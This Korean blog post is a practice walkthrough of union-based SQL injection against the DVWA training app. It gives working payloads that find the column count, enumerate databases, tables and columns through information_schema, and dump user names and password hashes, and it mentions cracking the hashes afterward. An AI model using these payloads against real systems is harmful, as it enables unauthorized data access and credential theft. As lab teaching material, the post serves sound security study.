티스토리 뷰
Union sql injection은 Uinon 함수를 이용하여 원하고자 하는 정보를 조회하는데 사용된다. 예를 들어 select 절 Union select 절 처럼 두개의 조회 절을 합쳐서 출력하고자 할때 사용한다.
위에 글에 나와있는 대로 하자면
SELECT first_name, last_name FROM users WHERE user_id = '' union select 절 #' 이렇게 입력되어 union 다음에 오는 select 절을 실행하게끔 하는 것이다.
단, union은 두개의 select 절을 합치므로 컬럼 수를 동일하게 해야 오류없이 출력된다. 따라서 order by를 사용하여 현재 재 몇개의 컬럼이 조회 되는지 알아야한다.아래의 그림처럼 입력을 하게 되면 SELECT first_name, last_name FROM users WHERE user_id = '' oerder by 3#' 이러한 형태로 SQL이 되므로 3번째 컬럼을 조회하지 않아 오류창이 발생한다.
3번째 컬럼이 없으므로 현재 서버에서 두개의 컬럼만 조회한다는 것을 알 수 있다. 이러한 형태로 컬럼의 개수를 알았다면 여러가지 방법으로 DB에 저장된 내용을 확인할 수 있다.
1. 데이터베이스 이름 조회하기
입력: ' UNION SELECT schema_name,2 from information_schema.schemata#
information_schema와 dvwa가 있다는 것을 알 수 있다.
2. dvwa 데이터베이스에 테이블 조회
입력: ' UNION SELECT table_name, 2 from information_schema.tables where table_schema='dvwa'#
guestbook, users 테이블이 있다는 것을 알 수 있다.
3. users 테이블 컬럼 조회
입력: ' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#
4. 유저 정보 조회하기
테이블과 컬럼 정보를 알고 있으니 유저 정보를 조회하기는 쉽다.
입력: ' UNION SELECT user, password from users #
계정과 해시화된 비밀번호를 손에 넣었으니 이후 패스워드 크래킹으로 유저들의 패스워드를 취득할 수 있게된다.
'Security > 어플리케이션' 카테고리의 다른 글
[WEB] DVWA 사이트를 이용한 CSRF 공격 실습 (0) | 2021.01.31 |
---|---|
[WEB] DVWA 사이트를 이용한 Form SQL Injection (0) | 2021.01.29 |
- Total
- Today
- Yesterday
- springboot
- 카카오페이면접후기
- 정보보안기사
- 그리디
- linux
- 우선순위큐
- LangChain
- llm
- 자료구조
- Ai
- 리눅스
- lightsail
- 프로그래머스
- 다이나믹프로그래밍
- 카카오페이
- Python
- 딥러닝
- FastAPI
- 보안기사
- java
- synflooding
- 시간초과
- 백준
- 파이썬
- 코딩테스트
- 보안
- t-test
- 정보보안
- t검정
- 분산시스템
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |